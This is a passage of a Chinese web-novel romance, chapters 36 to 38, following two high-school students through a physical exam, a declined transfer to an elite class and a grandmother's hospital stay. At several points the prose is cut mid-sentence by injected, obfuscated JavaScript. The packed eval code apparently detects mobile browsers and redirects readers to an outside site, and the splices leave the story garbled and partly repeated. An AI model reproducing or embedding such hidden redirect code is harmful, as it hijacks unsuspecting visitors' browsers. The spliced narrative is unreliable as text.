早自习到第一节课之间有个间休,闻竹觉得有点饿,但是现在过了食堂提供早餐的时间,于是在桌格里翻找存货准备垫一下肚子。李泊松看到了她的动作,从书包里翻出一个袋装的即食玉米。 “还是热的呢,”他把玉米递给闻竹,“忘了拿给你。” 闻竹蜷了下手,问他:“哪儿来的玉米?你怎么知道我今天吃不上饭?你自己吃了吗?” “怎么这么多问题?”李泊松无奈地笑笑。“我吃了。不过这个人情不是我的。” 他和闻竹解释:“我妈昨天在这住的,给我带了挺多吃的,她起了个大早给我热玉米,想起你爱吃,让我一定带给你。” “替我谢谢云姨。”她在心里叹气,心情复杂得不行。 李泊松倒是心很大的样子。 “这我可不管,”他果断地拒绝,似笑非笑道:“你自己去谢。” - 午睡结束后,闻竹和曲思嘉去水果店溜达了一圈,顺便逃掉了中午的点歌时间。她回到教室的时机正好,预备铃还没打响,还能再放松一会儿。 李泊松转着那个六阶魔方,抬头看她,闻竹注意到他的眼神很清明,猜到这人中午根本没睡,于是玩心大起,抬手远远地朝他脸上弹了一下。李泊松象征性地躲了躲,侧脸挂上了几滴小水珠。 他朝闻竹挑眉,闻竹从另一只手里变魔术似的拿出了一盒刚洗好的樱桃,放到李泊松桌上。 在闻竹前后分水果的时候,他扔了一个进嘴里,问:“你今天早上就是这么来的么?” 他说话指代不明,闻竹意外于自己竟然听懂了。她说:“是啊,虽然你没什么关注我的理由,但也不应该连我穿了什么都不知道吧?” “……” 李泊松心说哪儿有盯着腿看的,这礼貌吗。 “我早上穿的长袜,但是太热了,我把它卷下去了。” “唔,是很热。”他含糊地应了声。 闻竹扯了下校服裙的裙摆,觉得这天热得像太上老君的炼丹炉,穿得多凉快都没用。这才刚夏至,等到了三伏天,还不知道要怎么熬过去。 - 周围的环境变了,带给大家不一样的心情,高考倒计时的牌子已经挂在了黑板旁,虽然还没有正式开始计数,但依然增添了一些隐形的紧张感。 李泊松好像并没有区别对待高二和高三。他依然偶尔在英语课上拿出数学卷子,依然会唉声叹气地背《离骚》,依然会趁着课间十分钟捞起后边的篮球,好像于他而言,高三与高二的区别只是第二个字多了一笔而已。 “好了,这位同学,过来取单子吧。” 一个声音从身后传来,把闻竹从自己的意识中拉出来。 闻竹转头,看到旁边穿着白大褂的姐姐在贴着她一寸照片的A4纸上划拉了几笔,然后递给她。虽然对身高那一栏的数字很好奇,但她没第一时间看,道了谢之后就从前门出去了。 在门口等曲思嘉的时候,她和同样刚出来的许璐瑶聊了两句,许璐瑶和朋友走后,闻竹又看到了手里拿着单子的李泊松。不过说拿的话不太准确,正确的动词应该是“拎”。 李泊松也看到了她,朝她走过来。 “都检查完了?”他问。 “嗯,”闻竹刚刚准备看单子的时候遇到了许璐瑶,因而她现在也不知道自己到底有没有长高,她一边低头看一边问旁边人:“你呢,完事了吗?” 他说:“还差个肺活量。” 闻竹点点头,手指虚虚地指了下他手里的体检单,问他:“长高了没有?” 李泊松挑眉,说自己没太注意看。他们两个同时在自己的体检单上找到了身高那一栏,闻竹听到他说:“这写的是185。”他颇疑惑地问闻竹:“我上次体检还是186呢,怎么回事?” “……”闻竹有些无语,又觉得有点好笑:“你问我啊?” 在她的印象里,自己小学有两年是和李泊松一样高的,之后再过没几年,他的身高就抽条一样窜到了一米八,隔两年长一点,而她一直保持着同样的身高没有变过。 “好啦,别说我了,”李柏松偏头笑了笑,“你呢?” 闻竹摊手,几不可察地努了努嘴。 看到这个反应,李泊松了然道:“还是167啊。” “我怎么没长高啊……”闻竹的表情看起来有种真实的郁闷,懂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151072|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她如李泊松也不知道这是为什么。 “为什么非要长高?” 闻竹随口找了个理由:“个子高好看。” “你现在也不矮啊,”李泊松颇为真诚地安慰道:“高一两厘米看不出来什么。你现在就好看。” “……”她只好说,“我前几天小腿抽筋疼醒了,我以为是在长个子。” 这才是实话啊。 李泊松弯弯眼睛:“那下次体检就长了,回去吃点维生素。”闻竹抬眼用上目线瞪他,他们这组男生要去体检下一项。他扬了扬指尖夹着的体检单,和闻竹打招呼:“走了。” 闻竹说“嗯”。 曲思嘉正巧从门口出来,她笑嘻嘻地问闻竹有没有长高,闻竹抿了下唇,装作听不见。 回了头的李泊松看到她这样子笑了下,听到路一杭叫他名字才转身。 - 从四楼换到一楼的感觉非常好,不用爬楼了,去超市或者食堂都方便了不少,但不知道是不是错觉,闻竹总觉得蚊子变多了。她拿着“六神”,往胳膊上来来回回喷了好几下。 回到班级的时候,李泊松刚把篮球扔下坐回座位,闻竹就站在了旁边,他想去饮水机接水,刚起身就闻到了一种不算刺鼻但存在感很强的花露水味道。 “……” 两个人一时相对无言,闻竹喷的时候没想那么多,这会儿确实又些不好意思了。她扯起自己的袖子嗅了嗅,问:“味道很大?” 李泊松不讨厌这个味,感觉闻竹也没有多喷。他笑笑:“还好,坐着的时候闻不到。” “还好什么啊,泊松,你太偏向她了。”毕雨泽在李泊松身后坐着嚷道:“竹子你现在就是行走的花露水!” 闻竹站了两秒钟,决定转身去卫生间冲一下。 “哎,回来。”李泊松拉住她,“折腾什么,一会儿味道就散了。” 他说完,又看向毕雨泽,他和闻竹那个距离,大概率闻不到什么。 “啊,是,其实还好,你没看上课小路困的那个样子,他往鼻子底下抹了半瓶风油精,熏死我了。” 这话正好被刚回来的路一杭听到,他伸手拍在毕雨泽后背上:“又编排我!” 等李泊松转过身来,发现闻竹还又些纠结的样子,他失笑:“没事,毕雨泽开玩笑的。” - 晚饭后天色依然大亮,五点过半,白天的燥热终于散去了些,风裹挟着暑热吹过,树叶平静无波。 体育课打了半节课的球,李泊松这会儿正岁月静好地靠在座位上玩魔方。这个魔方是闻竹的,她很喜欢魔方、拼图这类东西,李泊松对这些兴趣不大,也没她玩得好。 他手里的这个魔方不是普通的三阶,而是更复杂的六阶。他在和闻竹长时间的相处中没少顺带着和魔方打交道,三阶的他之前玩得比较顺,手上这个就颇为吃力了。 转了几下后,实在不好意思破坏闻竹拼好的六个整齐的面,于是他把手里的放回了闻竹的桌格,又把三阶的拿到手里玩。 刚拿到手的时候觉得不难,转到最后发现有几块一直拼不上。李泊松扯了下唇角,不信邪地换了个面重新来。 “业精于勤荒于嬉啊。”闻竹悠悠道。 玩魔方是非常耗费脑细胞的活动,李泊松异常专注,一心想把它复原,以至于魔方的主人在他身旁站了近半分钟都没被察觉到。 “高三了,还有时间玩这个?”她抱着胳膊,居高临下地问。 李泊松心说这不是你的魔方吗,这算不算“恶人”先告状?他微微抬了点头,反问她:“高三了,还带它来上课?” 闻竹哼笑:“高三又不是坐牢。” 李泊松也笑,起身给她让出位子:“你说得对。” 她没有马上进去,而是指了指门口的方向,说:“岩姐找你。” 男生抬眼看她,眼神里写满了惊讶:“什么?” 闻竹知道是什么事,却没有直说,“去吧,”她看到李泊松疑惑的表情后顿了顿,忍俊不禁道:“好事。” 36. 青春一晌 李泊松踩着晚自习的预备铃进了教室,闻竹有些诧异地抬头,似乎是没想到他这么快就回来了。他拎起桌角的水瓶拧开盖,灌了一口又放下。他早察觉到了旁边人在看他,故意喝完水再看过去。 闻竹的眼神很直白,直白得让李泊松闪避不及,他目光晃动了下,看到了她手中完美复原的魔方。 “你拿错卷子了,”闻竹朝着黑板一角的课程表扬了扬下巴,轻描淡写地提醒他:“晚课是代数。” “……” 李泊松动作停了下,转而从桌格里抽出代数卷子,等着她问接下来的问题。 但闻竹说过那么一句话后就一言不发,安静地低头做题了。李泊松再看过去的时候,她这个大题已经完成了一问。 “你什么都不问啊,”他开口直截了当地说,“你不好奇吗?” 闻竹答得却不直接:“你猜?” 李泊松对她没有办法,只好摊牌:“我……” “我拒绝了。”闻竹不按常规出牌,打断了他:“高中两年,我对这个班有感情,而且我不喜欢接受新的东西。” “嗯,”李泊松点头,很自然地道:“我也不去。” 闻竹对他的答案毫不意外,她的手指动了又动,还是没忍住抬眼问了一句“为什么”。 李泊松说:“因为不想。” 每年的高考过后,一中都会在新高三里拉出一文一理两个火箭班。这个班是三十人小班型,师资力量等同于尖子班。尖子班、加强班,再加上平行班的一两个出类拔萃的好苗子都是学校考察的对象。 孟丽岩找他们几个就是为了这件事。 闻竹不是好奇心重的人,但她却莫名地在意李泊松这么做的原因,然而现在没有让他们两个促膝长谈的时间,正式铃响了。 晚课上讲的是上周周测的卷子,两人都没怎么错,李泊松听了最后一道选择,之后就拿出语文卷子开始写折磨人的课外古文题,闻竹破天荒地走了神,一阵难得的凉风吹进来,她转头向窗外看去。低垂的夜幕中,玻璃窗上映着她的影子。 她幼稚地向后靠了下,看到了李泊松优越的侧脸轮廓和挺拔的坐姿。 终于,在这节课上到一大半的时候,李泊松接到了闻竹扔过来的一个纸条。大概是夜晚让人恍惚,因着这个动作,李泊松不禁在想起了上次闻竹给他传纸条的时候。 还得追溯到小学六年级,多久远。 他在课堂上“不务正业”地学其他科也不是第一次了,这回却难得有了做贼心虚的感觉,抬头看了眼老师的动向后才拆开纸条。 闻竹漂亮到潇洒的字出现在眼前。她依然执着,依然是问“为什么”。 李泊松回了句废话: 【不是回答过这个问题了?】 闻竹很替他担心: 【你要不要回家和阿姨商量一下?你这个决定会不会太草率?】 闻竹和路一杭他们早就知道一中每年都会分出火箭班来,闻竹不清楚路一杭心里怎么想的,但她早猜到岩姐会找自己,也的确纠结过几天,还在家和父母商量过,而李泊松,他从知道这个消息到做出决定就用了几分钟,他有没有好好想? 然而闻竹不知道的是,李泊松做这个决定大概只用了十秒钟,他卡点回来是因为刚刚绕路去了趟超市。 【我考高分和在哪个班有什么关系?】 闻竹拆开这个纸条,觉得这话真的太“李泊松”了,换个人都不敢说这么欠揍的话。 下课铃正好打响,她把刚刚跟着纸条一起扔过来的那块奶糖放进嘴里,觉得自己真是瞎操心,却又抑制不住心底的那点莫名的雀跃。 代数老师夹着卷子出了门,走的时候还叫走了课代表,下半节课又要考试了。今天毕雨泽不训练,他以脸抢桌面,对接下来要进行的活动非常抗拒。 闻竹刚好转头,本着人道主义精神不咸不淡地安慰了两句。 毕雨泽不领情地哼道:“有两个人上课的时候一直在传纸条,不知道有什么悄悄话说。” 听了这话,李泊松收拾桌面的动作顿住,视线看向闻竹。闻竹已经从李泊松的凳子和毕雨泽桌子间的空隙中出去了,她眼尾一挑,仿佛没听到这句话似的转身走了。 今天的间休放的歌是五月天,闻竹跟着哼了几句,挺好听。等她和曲思嘉一起出了门,李泊松才朝毕雨泽摊了下手。 毕雨泽就是调侃一句,也不是真的好奇,他想,既然一会儿要考试,现在不如去加个餐。他叫李泊松一起去超市,起身时忽然想到自己的饭卡借给校队的队友了。 他只好先和李泊松借。 李泊松点头说没问题,从兜里摸出自己的饭卡。 所有学生的卡都是白色的,学校发卡的时候会把写着班级姓名的蓝色标签贴在上面,在走廊的灯光下,李泊松忽地发现他的卡上贴的标签是“1x级3班闻竹”。 他刚刚在超市刷的就是这张卡? 这是什么时候拿串的? 也不知道闻竹发现了没有。 他垂眼轻笑了下,把卡递给毕雨泽。 “这怎么是闻竹的卡?……哦,拿错了是吧。” “你们两个的卡都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178539|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有卡套什么的吗?”他早就觉得好奇了,这会儿终于得到了问出来的机会。 李泊松歪了下头:“卡套太沉了啊,我们两个好像都不太喜欢。” “不会丢?” 他“啊”了声,脸上带着明晃晃的笑意轻叹道:“这不是丢了么。” - 放学后的整条商业街都飘着食物的香味,闻竹走在路上,手里拿着吃一份刚炸出锅的鸡柳,每个都金灿灿的、隐隐约约冒着热气。她用竹签扎起一个,得细细吹几下才能放进嘴里。 防晒衣外套的袖口不知什么时候脱了线,一不小心和竹签勾在了一起,闻竹顶了下腮,李泊松在旁边顺手帮她挽了下衣袖。 之后两个人都没说话,过了一会儿,闻竹才叫他:“李泊松。” 李泊松以为是正经事,表情都认真了起来:“嗯?怎么了?” “咱们两个中午在食堂吃饭的时候把饭卡拿错了。” 原来是这事。 “我知道。”他把闻竹的饭卡拿出来给她看,知道她没有多余的手接过去,没有往前递。 “你帮我拿着吧,明天再换回来。” “哦,对了,”闻竹走在他前面一点,转过身倒着走了两步,眼睛看着他,表情有些纠结:“你卡里没钱了,明天记得充。” “好。”李泊松笑了下,“晚上我和毕雨泽都刷的你的卡。” 闻竹点了下头,明明不在意,却还是在吃着鸡柳的间隙含糊道:“你替他还我。” “我知道你不会去火箭班,”闻竹没提这茬,李泊松倒是还记得跟她解释。晚课的时候插科打诨,但该解释的事还是要解释:“我知道我自己做了什么决定。” 闻竹把签子插回纸袋里,嘴角扬起很小的弧度:“我怕你不知道火箭班的含金量,虽然你好像也没有因为自己的决定后悔过。”闻竹问他:“岩姐没劝你?” 别的老师都不想让尖子生转班的,岩姐也舍不得,但这是奔向美好前程的千万条路中较为平坦的一条,她希望他们选择。 李泊松说:“劝了几句。” 闻竹有点诧异:“那你怎么说的?” “我说我抗压能力弱,适应不了火箭班的环境。” 刚说了几句正经的,又开始扯淡了,他这毛病什么时候能改…… 闻竹懒得理他,朝着家门口快步走去。 李泊松看着闻竹走上台阶,笑着说:“我和岩姐说,我的理由和你的一样。” 她骤然转身,两道视线在温柔夏夜里相撞。 青春只一晌,今朝有酒今朝醉。 37. 亲人朋友 日照时间越来越长,暴雨都卷不去半分暑热。窗子开着,闻竹在窗前的书桌上写卷子,一抬眼就看到窗外的小飞虫在纱窗附近盘旋来去,夏日的蝉鸣嘶哑悠长。 这种蝉鸣声在不同的时候听起来是不一样的,大多数时候闻竹比较享受这种大自然的白噪音,但做不出题的时候,她只希望自己能暂时性失聪。 熬过下周的期末考试,他们苦命的高三生就可以放暑假了。这次期末考试是他们这一届学生第一次按照高考的模式考理综,闻竹紧张得很。 她物化生三科的成绩不给她拖后腿,却也没给她任何优势。她在成绩上很较真,觉得和有优势的那些人相比之下,这已经是她的劣势了。 手机在桌面上震动的声音传来,打断了闻竹画辅助线的动作。闻竹没看亮起的屏幕,因而不知道是谁来电话,她好不容易有了点思路,想试着先把题做出来。半分钟后,铃声又响起来。 有种桌面都在震动的错觉,她只好把电话接起,叫了声“妈”。 “竹子?”闻竹很少听到她妈妈语气这么匆忙焦急,“你奶奶刚才摔着了,现在在医院,你过去一趟?你爸爸出差得明早才能回来。” 电话那头窸窸窣窣的声音,有个年轻一些的女声叫了声“陈姐”,陈青把话筒拿得远了些,匆忙回了两句话。再之后,话筒里的声音从风声变回了有些急促的呼吸声。 闻竹说“好”,她一面起身换衣服一面说,“我知道了,妈,你把病房号发给我,我很快就到。” 之后她简单收拾了书包,背上就出了门。下楼时叫的车正好和她一起到小区门口,闻竹开门上车,想起了她妈妈之前和她说过的话。 陈青很小的时候她妈妈就生病去世了,在认识闻兴阳之后,竟然在闻竹她奶奶那里享受到了类似于母爱的感情,陈青甚至开玩笑似的说过当初嫁给她爸爸是因为她奶奶这种话。闻竹她爷爷本来就是脾气古怪的人,又只有闻兴阳这么一个儿子,陈青生了两个女儿,一直不受他待见。 闻竹一直知道这回事,对她爷爷奶奶不亲近。 她其实知道陈青把她奶奶当成自己母亲那样,但那种好没有落在自己身上,即便知道应该和独自一人的奶奶亲近些,一时半会也不能移情。 陈青也不会从她的角度去和闻竹说这些,她知道人和人之间的任何感情都是需要缘分的,闻竹把属于她的感情倾注给谁不是她应该决定的事情。 闻竹下了车直奔病房,奶奶家的保姆张姨在陪护,闻竹来了之后她就离开了。 医生过来查房的时候奶奶已经睡了,他说了一些注意事项,闻竹听了时候一直皱着眉,有些担心。医生说摔倒不是小事,年轻人都伤筋动骨,更何况是这么大岁数的老人。 闻竹轻轻叹气,不知道是不是叹的这几口气把病床上的老人叹醒了。 “竹子,”虽说是躺在病床上,但奶奶并不老态龙钟,声音却因为病着的缘故,没平时那么掷地有声。在闻竹看过去的时候,她招招手。 闻竹会意地把椅子拉过去坐在老人身边,老人拉了下她白皙细长的手指,视线从她的手往上看到她的脸。 “你长得像你妈妈,”奶奶说了句出乎闻竹意料的话,“但是眼睛像你爸。” 她叹了口气道:“你爸就眼睛长得最好看,你还是个很会长的小姑娘呢。” 闻竹知道这是夸她好看的意思,没忍住被这幽默劲逗得笑了下,觉得她爸爸的幽默应该是在奶奶这遗传过来的。 开心得聊了两句之后,奶奶说:“竹子,你回去和你爸妈说,我自己摔倒不怪别人,他们不用觉得愧疚,也别把我接过去,老太太我自己住着,你爸你妈不上班了去看看我,这样的日子挺好的。” 这话落到闻竹耳朵里,她不知道怎么接,只好说“知道了”,她叫奶奶好好养着别想太多,答应把话传过去。 在奶奶睡着时,闻竹在旁边的矮桌上写卷子,毕雨泽在群里发了两条求助的消息。 【毕雨泽:我想你们愿意帮助我!】 【毕雨泽:图片】 闻竹打开图片,是自己刚刚做的那道数学大题。但她没做出来,也就没回话。过了两分钟,路一杭拍了张图传上去。 闻竹看到他的辅助线和自己刚才想的不一样,刚皱眉准备细看,就看到路一杭的下一条消息说他也没做出来。 毕雨泽发了个小猫失望的表情包,在群里@全体成员。 然后路一杭一声没吭地消失了,估计是被这个失望的小猫刺激到了。 【闻竹:我也不会。】 回完了却觉得不太甘心,如果再给她几分钟,没准就做出来了。 【曲思嘉:我觉得这题超纲了。】 【毕雨泽:/握手/握手/握手】 【毕雨泽:泊松人呢?】 李泊松才是平日里最配合他的,今天却一直没说话。 饮水机里的水烧开了,闻竹接满一大杯水,又往刚洗干净的玻璃杯里到了大半杯。之后手机弹出了两条消息,是李泊松的回话。他说自己在机场,至于这张卷子,根本还没动笔。 这人去机场做什么? 闻竹短暂地纠结了一会儿,而后发微信询问。 那边发了语音过来,背景音还有航班播报通知,稍显杂乱,李泊松说他到这边来接他表姐,这会儿在等人。 闻竹完全不记得李泊松什么时候有表姐,更遑论想起来是谁。奶奶睡醒了,想去卫生间,她只来得及和李泊松说明早上学不用等她,就匆匆去帮忙了。 - 有时候人和人之间的缘分也说不清楚。 闻竹在一楼的门诊大厅看到李泊松时,她心里就是这个想法。然后她又想,和李泊松的缘分怎么总是在医院?这也不太吉利啊。 李泊松在柱子那儿很闲散地靠着,腿边放了个挺漂亮的蓝色大行李箱,闻竹看他的时候他正拿着手机打字。过了会儿,她手机微信响了两声,还没来得及看,李泊松就看到了她。 他眼睛亮了下,眼神闪过了一丝惊讶,和闻竹打招呼:“过来。” 闻竹眨了下眼,一动没动:“你怎么不过来?” 他们两个离得并不远,在略显嘈杂的医院大厅里能听清对方的声音。闻竹这句话说完,李泊松就笑了。他腿边那个箱子上还放了个大托特包,他刚拎起包,闻竹就任命地朝他走过去。 李泊松又靠回了柱子边上。 明明没什么多余的表情,闻竹就是莫名觉得这人有些欠揍,好像猜到了她最后会走过去似的。 “你说明早不用等你上学,因为你晚上要待在医院吗?”他几不可察地皱了下眉,把闻竹从头到脚打量了一番,“不是你生病了吧,发生什么了?” 闻竹把眸子垂下,看着情绪不是很高:“没什么事,我奶奶住院了,我现在去给她买饭。” 果不其然,听了这话,李泊松神色更凝重了些,他问:“奶奶怎么了?” “中午下床的时候摔着了,我来陪她。” “嗯,”他想了想,还是说,“别太担心了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她对闻竹说:“妹妹,我这周末有比赛,有时间的话欢迎你去。” 闻竹点了两下头。 “我去楼上等叫号了,你就在这等我吧,拎着箱子也不方便。”她连珠炮一样对李泊松输出了一堆,而后笑眯眯地看向闻竹,“走啦。” “嗯,拜拜,”闻竹挺乖地答了句,而后感觉不怎么礼貌,加了句“姐”。 程初夏笑眯眯地拿着挂号单上楼了。 李泊松一直靠在那儿饶有兴趣地看着她“装乖”,一时有些怀念。在闻竹的视线看向他时,李泊松说:“你不用这样,她比我们大两岁,叫名字也没关系。” 闻竹“嗯”了声,又说:“周末我想去,我和你一起,可以吗?” “当然,”他答应得很痛快,“我去你家楼下等你。” 说完这话后,李泊松觉得自己真是太不矜持了。他迎着闻竹的目光,手指互相蹭了一下。 闻竹毫无所觉:“我怕我今天写不完作业,明天要去学校抄一下,你能不能早一点去?” “起不来,”他身子朝后靠了靠,故意道:“你怎么不抄别人的?” “那好吧,”闻竹的语气都没变,表情也不见半点失落,“那我抄路一杭的好了。” “哎你……”李泊松站直了些,迅速改口:“你几点到?” 38. 长发短发 闻竹在医院住了一晚。 她奶奶是随和的老人,什么要求都没有,也不会支使她做这做那。她越这样,闻竹越怕她有需要,时不时地问两声。 检查结果出来之后闻竹才放心下来,她今天折腾够呛,从傍晚就开始头疼。换了个环境导致睡眠质量急速下降。可既便如此,到了第二天早上,不舒服的感觉也减轻了很多。 她从小就很少请假,身体素质不错,有时候甚至觉得自己是适合上学的体质,放假时不舒服,开学当天也好得差不多了。 闻兴阳坐最早的高铁回临城,已经下车了。闻竹给他发微信说了奶奶的情况后就背着包离开了病房。 李泊松竟然真的早早到了班级,这让她郁闷了一晚上的心情缓解了很多。 这一上午,闻竹自问学习状态还不错,到了午睡时间却是沾了抱枕就沉入了黑甜乡。 午睡铃声打了两遍,班级从鸦雀无声逐渐变得喧闹起来。李泊松起身的时候闻竹还背对着他趴在桌面上,头发丝都写着累和困。 李泊松怕吵醒她,用胳膊撑了下身子,轻飘飘地从毕雨泽桌上跳了出去。 毕雨泽正在后门那儿站着等他,看他这杂技一样的动作拍了下手:“太丝滑了!今年运动会我给你报个跳高吧泊松,我跟你讲,咱们班能文能武,就差个能跳高的。” 李泊松心想,这运动会不是得九月末呢,他还挺有提前量的。 “哎,行不行啊?”毕雨泽又问了一遍。 “行,”李泊松答应得挺痛快,“但我不太会跳高,你到时候教教我吧。” 听了这话,毕雨泽的脸拉得老长,好像李泊松以前的班级错过了什么奥运健儿一样。 “哎哟我去,为什么?”他说,“明珠蒙尘、怀才不遇!” 李泊松对他突飞猛进的成语水平表达了惊叹和肯定,他笑得不行:“不是,我小学跳高的时候出了点小意外,以后就不太敢了。”毕雨泽这半分钟里表情变得像调色盘一样,李泊松只好拍拍他肩膀:“其实没什么事,但当时可能觉得丢人吧,以后就很抗拒跳高,到现在也不怎么会跳。” “你还丢过人?”毕雨泽一脸不信,“你像是那种从小到大都是男神的类型。” “我现在和男神也不搭边啊,”他笑,“你去问闻竹?她应该记得。” 李泊松说完这句话之后,觉得过了这么多年,那点小孩子情绪早就不记得了。只不过那时候他希望闻竹失忆才好,这样才能把他丢人的过程忘得一干二净,现在他却莫名地有些好奇,闻竹到底记不记得他们以前的那些事? 毕雨泽也笑了:“行,我必须找时间好好问问。” - 五分钟后,毕雨泽被教练叫走了,李泊松站在窗外往班级里边看了眼,敲了敲窗子。 这时候闻竹已经换了个睡姿,从趴着睡改成了倚在椅背上睡,她已经醒了,但是不舍得睁开眼睛。虽然敲窗子的声音并不大,她却还是睡眼惺忪地朝窗外看了过去。 李泊松顺着开着的窗子把柠檬茶递进来,在炽热的太阳下朝她笑了笑:“清醒一下,马上上课了。” 闻竹被这笑晃得有些眼晕,只“嗯”了声,“嗯”完就接过了递进来的易拉罐,却没明白他为什么非要敲窗子叫她。她伸手拉开拉环,夏天的黏腻感被这口冰镇的果茶搅散了。 起身去卫生间洗了把脸,在和李泊松前后脚进入教室的时候,上课铃还没打响。 “熬夜做贼了,怎么困成这个样子?你看看你这黑眼圈。”李泊松在座位上坐下,垂着眸,眼尖地看到了桌面上的一根掉落的长发。 “是吗?”闻竹摸出英语卷子放在桌面上,她闭上眼睛,抬手在自己的下眼睑处摸了下,鸦羽似的睫毛颤动着。因为那点没散尽的困意,整个人看起来有些懒倦。 “是啊,”李泊松捻起那根发丝,“黑眼圈就算了,都开始掉头发了……你昨晚照顾奶奶没睡好?” “没有,就是床不舒服,一直睡不着。” 闻竹拿过那根头发观察了一会儿,观察完就把它扔进了两人桌子中间挂着的共用垃圾袋里。 李泊松嗯了声,问:“那你做什么了?” 闻竹没好气地说:“看卖假发的直播间。” 他被逗得不行,闻竹也把头偏过去笑了一会儿。 - 闻竹是随口一说,李泊松也是,但周五的晚上,他们两个竟然真的在小区附近的一家理发店偶遇了。 李泊松推门进去,刚和老板打了个招呼,就看到了坐在镜子前的闻竹。她的头发以前虽然不及腰,但再留个一年半载也差不多了,现在被人一剪子剪到了锁骨处。他的视线下行,看到地上都是发泽亮丽的黑色长发。 “李泊松?”闻竹先和他打招呼,两只手做了个剪刀的手指,还动了几下:“你也来剪头发?” “嗯。”他应了声,对着镜子看了眼自己的头发,虽然不影响帅,但额前的碎发有些挡眼睛了,看着不那么利落,他不喜欢。 他在闻竹旁边的转椅上坐下,微微偏着身子看她。 “怎么突然想要来剪头发了?”他问:“你这头发从初中开始就没剪过吧。” 闻竹语气轻松:“你不是说我都掉发了嘛,我紧张,想着剪了算了。” 虽然知道她是在开玩笑,多年来也对闻竹随心而动的脾性和超强的行动力有深刻了解,但李泊松还是很轻地皱了下眉,怕她以后会后悔。 “所以就剪掉了这么多?”他用手比划了一下,半真半假地问她:“如果你以后后悔了,不会怪我吧?” “当然会了。”闻竹理直气壮地说完,察觉到李泊松似是无奈地看了她一眼。 “剪了就是剪了,我觉得长发太久了,想换个样子换个心情。”闻竹的头发基本上已经做完了,她对着镜子看了几眼,转身偏向李泊松:“剪到这么短好看吗?” “好看。” 他答得太快,而闻竹向来想得少,也不明白这是在李泊松心里如同出厂设置一般的想法。 “行,”闻竹没看他,而是再次满意地看了眼镜子中的自己,话倒是对着他说的:“眼光不错。” 李泊松失笑,觉得闻竹难得夸他一句,反应了一下又明白了这哪儿是在夸他。 他没压力地回道:“嗯,你说得对。” 闻竹洗剪吹都完事的时候李泊松那边刚开始,她没走,也没说要等人,只是坐在门口的沙发上等着,一言不发,导致李泊松剪头发过程中一直不老实,通过镜子看闻竹。 女生正戴着耳机,手机横屏拿在手中。 他猜闻竹还在玩那个国产推理游戏,前段时间她在电脑上玩过,上瘾了一段时间。休闲的时间本来就少,闻竹对她难得喜欢的作品特别珍惜,玩得很慢,一拖就拖到了手机端上线的时候。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188520|137974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “帅哥?” 给他剪头发的姐姐叫了他一声,李泊松才反应过来,把目光移回来,姐姐绕到他面前,语气友善地调侃道:“你们长得好看的人是不是自己也清楚?照镜子都能走神。” 李泊松难得有些不好意思,他没解释,只是笑笑:“不好意思啊姐。” “没事儿,我给你剪下刘海,”那个姐姐很潇洒地摆摆手,感叹道:“还是十七八岁好,刚才剪头发的那个女孩是你朋友?你们这个年纪的孩子长得都这么好看呢……” 他顿了顿,又在镜子里看了闻竹一眼,她打游戏打得很沉浸,头都不抬一下。李泊松不知道怎么回,一张嘴就非常不矜持地道了声谢。 等李泊松洗完头吹完头的时候,闻竹这一关应该是还没打完,他听不到音效,只能通过画面和闻竹的表情判断剧情。 “走吗?”李泊松问她。 闻竹没听到,他闲闲地站着等了一会儿才伸手摘到她一边的耳机,闻竹惊讶地抬眼:“哦,你剪完了?”她一边收着手机,一边大大方方地打量着他。 李泊松也任由她打量。 闻竹的视线收得很快,也没对他剪完头发的模样做出什么评价。她打开游戏就是为了等李泊松,他那边完事了,闻竹也没有非要把这关通了,拎起包就走。 因为她说自己以前没留过短发,走的时候那个姐姐又把吹头发的注意事项嘱咐了一遍。 闻竹点头,又和她挥手。 出了门,李泊松问起了游戏的名字。其实他上次也问了,只不过闻竹介绍游戏剧情的时候很激动,说完听到他问的时候却怎么也想不起名字了。这次闻竹记得,刚想开口,李泊松就把手机递给她。 两个人就那么站在烈日底下,好像谁也不嫌热似的。闻竹关掉AppStore,心满意足地把手机还给他,而后视线一错,这才注意到李泊松今天的穿搭。 他的衣品其实是很符合闻竹审美的,只不过他们平时上学就穿一身校服,校服里边套的也是早晨醒了在衣柜里随手抽出来的t恤,跟“穿搭”这么潮的词根本搭不上边。 